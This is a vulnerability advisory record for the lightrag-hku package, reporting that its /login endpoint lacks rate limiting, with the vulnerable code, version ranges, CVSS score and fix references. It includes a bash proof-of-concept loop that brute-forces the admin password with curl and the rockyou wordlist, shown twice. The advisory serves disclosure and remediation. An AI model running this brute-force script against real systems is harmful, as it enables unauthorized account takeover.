PYSEC-2026-4062

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10
VLAI
Details

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Impacted products
Name purl
lightrag-hku pkg:pypi/lightrag-hku
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku",
        "purl": "pkg:pypi/lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.3",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "1.1.0",
        "1.1.1",
        "1.1.2",
        "1.1.3",
        "1.1.4",
        "1.1.5",
        "1.1.6",
        "1.1.7",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.5",
        "1.2.6",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.3.5",
        "1.3.6",
        "1.3.7",
        "1.3.8",
        "1.3.9",
        "1.4.0",
        "1.4.1",
        "1.4.10",
        "1.4.11",
        "1.4.11rc2",
        "1.4.12",
        "1.4.12rc1",
        "1.4.13",
        "1.4.13rc1",
        "1.4.14",
        "1.4.15",
        "1.4.16",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8.1",
        "1.4.8.2",
        "1.4.8rc4",
        "1.4.8rc6",
        "1.4.8rc7",
        "1.4.8rc8",
        "1.4.8rc9",
        "1.4.9",
        "1.4.9.1",
        "1.4.9.10",
        "1.4.9.11",
        "1.4.9.2",
        "1.4.9.3",
        "1.4.9.4",
        "1.4.9.4rc1",
        "1.4.9.5",
        "1.4.9.6",
        "1.4.9.7",
        "1.4.9.8",
        "1.4.9.9",
        "1.4.9rc1",
        "1.4.9rc2",
        "1.4.9rc3",
        "1.4.9rc4",
        "1.5.0",
        "1.5.0rc1",
        "1.5.0rc2",
        "1.5.0rc3",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.5.4",
        "1.5.5rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85734",
    "GHSA-frch-4w6v-q5xx"
  ],
  "details": "### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin\u0026password=${pass}\")\n  [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.",
  "id": "PYSEC-2026-4062",
  "modified": "2026-10-01T17:10:27.252888Z",
  "published": "2026-10-01T16:38:37.498413Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lightrag-hku"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-frch-4w6v-q5xx"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks"
}



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